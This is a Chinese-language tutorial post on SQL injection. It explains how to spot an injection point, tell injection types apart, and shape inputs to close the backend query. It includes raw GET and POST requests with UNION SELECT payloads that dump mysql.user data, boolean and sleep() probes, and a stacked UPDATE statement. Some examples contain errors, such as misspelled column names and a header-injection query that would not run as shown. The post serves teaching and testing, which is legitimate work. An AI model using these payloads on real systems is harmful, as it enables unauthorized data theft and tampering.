判断注入的关键点
是否存在SQL注入?
只要是带有参数的动态网页,并且这个网页访问了数据库,则该网页就可能存在SQL注入
属于哪一种SQL注入类型?
当确认了网页存在注入漏洞后就需要进一步判断该注入点属于哪一种注入类型,知道了注入类型才能根据其特点构造注入的sql语句完成注入目的。
推断后端的真实SQL写法
推断后端的SQL的写法是非常重要的一步,只有推断出后端SQL语句的写法才能帮助我们完成后端SQL语句的闭合,比如知道传递的查询是=、like、in等。
单引号判断法
单引号判断法,即在输入参数中添加单引号,因为无论是字符型还是整形输入都会由于多了单引号而导致最后拼接的sql语句单引号个数不匹配而报错。
注入类型
从HTTP协议的角度分析时SQL注入分为GET注入、POST注入以及HTTP头注入,分类依据是根据传递参数的方式是get请求还是post请求以及数据是否是在http头信息中
GET注入
# get请求参数是拼接在url后面
GET http://x.xxx.xxx.xxx:8080/sqli_1.php?title=1 union select 1,user,version(),4,host,6,7 from mysql.user limit 2,3 -- &action=search HTTP/1.1
Host: x.xxx.xxx.xxx:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8.142.109.131:8080/sqli_1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
POST注入
# post请求参数是放在请求的body中进行传递
POST http://x.xxx.xxx.xxx:8080/sqli_13.php HTTP/1.1
Host: x.xxx.xxx.xxx:8080
Connection: keep-alive
Content-Length: 17
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://8.142.109.131:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8.142.109.131:8080/sqli_13.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
movie=1 union select 1,user,version(),4,host,6,7 from mysql.user limit 2,3 --&action=go
HTTP头注入
HTTP头注入是利用应用程序直接使用请求头数据与数据库进行交互而没有做任何过而导致的SQL注入
-- 例如应用程序有时候会记录客户端的类型
GET http://x.xxx.xxx.xxx:8080/sqli_1.php?title=1&action=search HTTP/1.1
Host: x.xxx.xxx.xxx:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8.142.109.131:8080/sqli_1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
-- 正常情况下应用程序会取出User-Agent值直接插入到数据库中
insert into tables(x1,x2,x3,x4) values(xx,'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36')
-- 修改User-Agent的值使其成为SQL语句的一部分就能达到注入的目的
GET http://x.xxx.xxx.xxx:8080/sqli_1.php?title=1&action=search HTTP/1.1
Host: x.xxx.xxx.xxx:8080
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: select database()
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8.142.109.131:8080/sqli_1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
-- SQL语句变为
insert into tables(x1,x2,x3,x4) values(xx,select database())
-- 注入就可使用前端提供的能查询这个数据的功能就能知道数据名称
从传递参数数据类型的角度分析SQL注入分为字符型注入和整型注入,分类依据是根据注注入点的参数传到后端拼接的到SQL语句是整型还是字符型。
在进行漏洞分析时需要先判断注入点是字符型还是整型,以便构造输入时候完成sql语句的闭合。(在上以便文章中示例的POST注入就属于字符型)
整型
select * from tables where id = ?
-- 在构造注入语句时可以输入1 or 1=1 -- 和 1 and 1=2 -- 进行判断
字符型
select * from tables where id = '?'
-- 在构造注入语句时可以输入1' or 1=1 -- 和 1' and 1=2 -- 进行判断
从完成注入的SQL语句角度,SQL注入可分为如下类型:
-
布尔型注入(Boolean-bases)
布尔型注入指的是通过联合一个布尔类型的判断完成注入目的的注入类型
-- 使用布尔型注入确定数据库版本,猜对了才会正常返回查询数据 http://test.com/get?id=1 and substring(version(),1,1) =5
-
可联合查询注入(UNION)
可联合查询注入是指注入点可以使用union字段完成注入目的的注入类型,但是有一个前提是查询有返回数据给前端
-- 使用union可联合查询注入获取数据库表结构 http://test.com/get?id=1 UNION SELECT table_schema,table_name,colum_name,privileges FROM INFORMATION_SCHEMA.COLUMNS WHERE tables_schema = 'mysql' and table_name = 'user' --
-
基于时间延迟注入(Time-based)
基于时间延迟的注入指通过联合一个SQL的sleep函数来完成注入目的的注入类型,当请求后返回时就应当使用时间盲注的方式,通过执行时间来判断注入是否发生。
select *from tables where id = 1 and sleep(4)
-
报错型注入(Error-based)
报错型注入指的是通过数据自带函数的自身的问题结合数据库的额外报错信息完成注入目的的注入类型,典型案例就是利用group by的duplicate entry错误。
-
可多语句查询注入(Stacked queries)
可多语句查询注入是指注入点不但能执行后端SQL还能执行额外拼接的其他SQL语句完成注入目的的注入类型,能够执行多条语句意味着能够直接操作数据库。
http://test.com/get?id=1;update tables set xx = '1' where id =1
欢迎大家关注我的订阅号,会定期分享一些关于测试相关的文章,有问题也欢迎一起讨论学习!